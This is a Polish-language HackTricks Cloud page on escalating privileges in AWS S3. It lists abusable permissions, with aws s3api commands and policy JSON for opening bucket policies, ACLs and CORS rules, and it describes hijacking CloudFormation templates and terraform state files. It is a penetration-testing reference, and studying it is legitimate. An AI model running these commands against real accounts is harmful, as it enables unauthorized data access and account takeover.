AWS - S3 Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
S3
s3:PutBucketNotification, s3:PutObject, s3:GetObject
Atakujący posiadający takie uprawnienia do interesujących bucketów może przejąć zasoby i eskalować uprawnienia.
Na przykład atakujący posiadający takie uprawnienia do bucketu cloudformation o nazwie “cf-templates-nohnwfax6a6i-us-east-1” będzie w stanie przejąć wdrożenie. Dostęp może być przyznany za pomocą następującej polityki:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}
I przejęcie jest możliwe, ponieważ istnieje krótki odstęp czasu od chwili, gdy szablon zostanie przesłany do bucketu do chwili, gdy szablon zostanie wdrożony. Atakujący może po prostu utworzyć w swoim koncie lambda function, która wyzwoli się, gdy zostanie wysłane powiadomienie o bucketcie, i przejmie zawartość tego bucketu.
.png)
Moduł Pacu cfn__resouce_injection może być użyty do zautomatyzowania tego ataku.
Więcej informacji znajdziesz w oryginalnym badaniu: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/
s3:PutObject, s3:GetObject
Są to uprawnienia do pobierania i przesyłania obiektów do S3. Kilka usług w AWS (i poza nim) używa storage S3 do przechowywania pliki konfiguracyjne.
Atakujący z dostępem do odczytu może znaleźć w nich wrażliwe informacje.
Atakujący z dostępem do zapisu może zmodyfikować dane, aby nadużyć jakąś usługę i spróbować eskalacji uprawnień.
Oto kilka przykładów:
- Jeśli instancja EC2 przechowuje user data in a S3 bucket, atakujący mógłby to zmodyfikować, aby wykonać dowolny kod wewnątrz instancji EC2.
s3:PutObject, s3:GetObject (optional) over terraform state file
Bardzo często pliki stanu terraform są zapisywane w blob storage dostawców chmury, np. AWS S3. Sufiks pliku stanu to .tfstate, a nazwy bucketów często zdradzają, że zawierają pliki stanu terraform. Zazwyczaj każde konto AWS ma taki bucket do przechowywania plików stanu pokazujących stan konta. Również w praktyce w większości kont niemal zawsze wszyscy deweloperzy mają s3:*, a czasami nawet użytkownicy biznesowi mają s3:Put*.
Jeśli więc posiadasz wymienione uprawnienia do tych plików, istnieje wektor ataku pozwalający na uzyskanie RCE w pipeline z uprawnieniami terraform — najczęściej AdministratorAccess, co czyni cię administratorem konta chmurowego. Możesz też użyć tego wektora do przeprowadzenia ataku DoS, powodując, że terraform usunie legalne zasoby.
Postępuj zgodnie z opisem w sekcji Abusing Terraform State Files na stronie Terraform Security aby znaleźć bezpośrednio użyteczny kod exploitów:
s3:PutBucketPolicy
Atakujący, który musi być z tego samego konta, w przeciwnym razie zostanie wywołany błąd The specified method is not allowed, z tym uprawnieniem będzie w stanie nadać sobie więcej uprawnień do bucketów, pozwalających mu czytać, zapisywać, modyfikować, usuwać i ujawniać buckety.
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}
## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}
s3:GetBucketAcl, s3:PutBucketAcl
attacker może nadużyć tych uprawnień, aby przyznać sobie większy dostęp do konkretnych buckets.
Zauważ, że attacker nie musi pochodzić z tego samego konta. Co więcej, write access
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json
##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectAcl
Atakujący może nadużyć tych uprawnień, aby przyznać sobie większy dostęp do konkretnych obiektów w bucketach.
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json
##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectVersionAcl
Oczekuje się, że atakujący z tymi uprawnieniami będzie w stanie ustawić Acl dla konkretnej wersji obiektu
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
s3:PutBucketCORS
Atakujący z uprawnieniem s3:PutBucketCORS może zmodyfikować konfigurację CORS bucketu (Cross-Origin Resource Sharing), która kontroluje, które domeny webowe mogą uzyskiwać dostęp do jego endpointów. Jeśli ustawi permisywną politykę, dowolna witryna będzie mogła wysyłać bezpośrednie żądania do bucketu i odczytywać odpowiedzi z poziomu przeglądarki.
Oznacza to, że potencjalnie, jeśli uwierzytelniony użytkownik aplikacji webowej hostowanej z bucketu odwiedzi stronę atakującego, atakujący może wykorzystać permisywną politykę CORS i, w zależności od aplikacji, uzyskać dostęp do danych profilu użytkownika lub nawet przejąć jego konto.
aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \
--cors-configuration '{
"CORSRules": [
{
"AllowedOrigins": ["*"],
"AllowedMethods": ["GET", "PUT", "POST"],
"AllowedHeaders": ["*"],
"ExposeHeaders": ["x-amz-request-id"],
"MaxAgeSeconds": 3000
}
]
}'
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

